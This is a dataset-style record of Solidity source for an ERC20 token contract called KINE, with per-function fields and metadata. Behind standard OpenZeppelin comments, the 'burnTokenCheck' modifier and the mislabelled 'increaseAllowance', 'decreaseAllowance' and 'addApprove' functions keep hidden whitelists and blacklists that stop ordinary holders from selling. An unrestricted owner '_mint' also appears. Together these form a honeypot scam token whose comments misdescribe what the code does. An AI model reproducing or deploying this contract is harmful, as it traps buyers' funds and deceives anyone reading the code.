/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | name | function name() public view returns (string memory) {
return _name;
}
| /**
* @dev Returns the name of the token.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
1471,
1559
]
} | 11,721 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | symbol | function symbol() public view returns (string memory) {
return _symbol;
}
| /**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
1673,
1765
]
} | 11,722 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | decimals | function decimals() public view returns (uint8) {
return _decimals;
}
| /**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
2398,
2486
]
} | 11,723 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
